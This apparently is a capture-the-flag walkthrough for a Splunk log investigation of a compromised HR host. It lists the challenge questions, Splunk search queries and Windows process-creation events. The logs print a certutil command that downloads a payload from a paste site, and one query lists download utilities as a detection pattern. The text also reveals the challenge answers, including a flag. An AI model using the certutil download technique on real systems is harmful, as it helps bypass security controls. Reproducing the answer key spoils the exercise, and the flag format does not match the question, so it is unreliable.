

Intro

One of the client's IDS indicated a potentially suspicious process execution indicating one of the hosts from the HR department was compromised. Some tools related to network information gathering / scheduled tasks were executed which confirmed the suspicion. Due to limited resources, we could only pull the process execution logs with Event ID: 4688 and ingested them into Splunk with the index **win_eventlogs** for further investigation.

About the Network Information

The network is divided into three logical segments. It will help in the investigation.

IT Department

- James
- Moin
- Katrina

HR department

- Haroon
- Chris
- Diana

Marketing department

- Bell
- Amelia
- Deepak

Q1- How many logs are ingested from the month of March, 2022?

Q2- Imposter Alert: There seems to be an imposter account observed in the logs, what is the name of that user?

Q3- Which user from the HR department was observed to be running scheduled tasks?

Q4- Which user from the HR department executed a system process (LOLBIN) to download a payload from a file-sharing host.

Q5- To bypass the security controls, which system process (lolbin) was used to download a payload from the internet?

Q6- What was the date that this binary was executed by the infected host? format (YYYY-MM-DD)

Q7- Which third-party site was accessed to download the malicious payload?

Q8- What is the name of the file that was saved on the host machine from the C2 server during the post-exploitation phase?

Q9- The suspicious file downloaded from the C2 server contained malicious content with the pattern THM{.....}; what is that pattern?

Q10- What is the URL that the infected host connected to?

The screenshot displays the Windows Event Viewer interface. The search bar at the top contains the query: `Index=win_eventlogs schtasks Username="Daina" OR Username="Haron" OR Username="Chris.fort"`. The search results show a single event from 3/1/22 12:00:00.000 AM to 4/1/22 12:00:00.000 AM. The event is selected, and its details are shown in the right pane. The event is a 'Process Creation' event (Category: Process Creation, Channel: Windows) with EventID 4688. The EventTime is 2022-03-06T14:23:40Z. The EventType is AUDIT_SUCCESS. The HostName is HR_02. The NewProcessId is 0x885fd7. The Opcode is Info. The ProcessId is 7933. The ProcessName is C:\Windows\System32\svchost.exe. The Severity is INFO. The SeverityValue is 2. The SourceModuleName is eventlog. The SourceModuleType is Win_event_log. The SourceName is Microsoft-Windows-Security-Auditing. The SubjectDomainName is cybertees.local. The Username is Chris.fort. The Index is winlogs.

Category	Channel	EventID	EventTime	EventType	HostName	NewProcessId	Opcode	ProcessId	ProcessName	Severity	SeverityValue	SourceModuleName	SourceModuleType	SourceName	SubjectDomainName	Username	Index
Process Creation	Windows	4688	2022-03-06T14:23:40Z	AUDIT_SUCCESS	HR_02	0x885fd7	Info	7933	C:\Windows\System32\svchost.exe	INFO	2	eventlog	Win_event_log	Microsoft-Windows-Security-Auditing	cybertees.local	Chris.fort	winlogs

New Search

Save AsCreate Table ViewClose

1: index=win_eventlogs
2: (UserName="Chris.fort" OR UserName="Daina" OR UserName="Haroon")
3: CommandLine="https"
4: | search certutil OR bitsadmin OR curl OR wget OR powershell OR sshfs OR rundll32
5: | table Time UserName ProcessName CommandLine

during Mar 2022

1 event (3/1/22 12:00:00.000 AM to 4/1/22 12:00:00.000 AM) No Event Sampling

Job

Smart Mode

EventsPatternsStatistics (1)Visualization

20 Per PageFormatPreview

Time	UserName	ProcessName	CommandLine
	haroon	C:\Windows\System32\certutil.exe	certutil.exe -urlcache -f - https://controlc.com/e4d11035 benign.exe

Format TimelineZoom OutZoom to SelectionDeselect1 day per column

ListFormat20 Per Page

< Hide Fields

ALL FIELDS

ELECTED FIELDS

CommandLine 1
EventID 1
Host 1
ProcessID 1
source 1
sourcetype 1
SubjectDomainName 1
UserName 1

INTERESTING FIELDS

Category 1
Channel 1
date_hour 1
date_mday 1
date_minute 1
date_month 1
date_second 1
date_wday 1
date_year 1
date_zone 1
EventTime 1
extracted_EventType 1
extracted_index 1
HostName 1

Time

Event

3/4/22
10:38:28.000 AM

{ [-]

Category: Process Creation
Channel: Windows
CommandLine: certutil.exe -urlcache -f - https://controlc.com/e4d11035 benign.exe
EventID: 4688
EventTime: 2022-03-04T10:38:28Z
EventType: AUDIT_SUCCESS
HostName: HR_01
NewProcessId: 0x82194b
OpCode: Info
ProcessID: 9912
ProcessName: C:\Windows\System32\certutil.exe
Severity: INFO
SeverityValue: 2
SourceModuleName: eventlog
SourceModuleType: Win_event_log
SourceName: Microsoft-Windows-Security-Auditing
SubjectDomainName: cybertees.local
UserName: haroon
Index: winlogs

Show as raw text

CommandLine = certutil.exe -urlcache -f - https://controlc.com/e4d11035 benign.exe | EventID = 4688 | ProcessID = 9912 | SubjectDomainName = cybertees.local | UserName = haroon | host = cybertees |
source = win_event_logs.json | sourcetype = _json

https://controlc.com/e4d11035

0
/ 97
Community Score

No security vendors flagged this URL as malicious

ReanalyzeSearchMore

https://controlc.com/e4d11035
controlc.com

Status
200

Content type
text/html; charset=UTF-8

Last Analysis Date
4 months ago

text/htmltrackersiframesexternal-resourcesthird-party-cookies

controlc.com/e4d11035

ControlC

flag.txt

THH{KJ&*H^B0}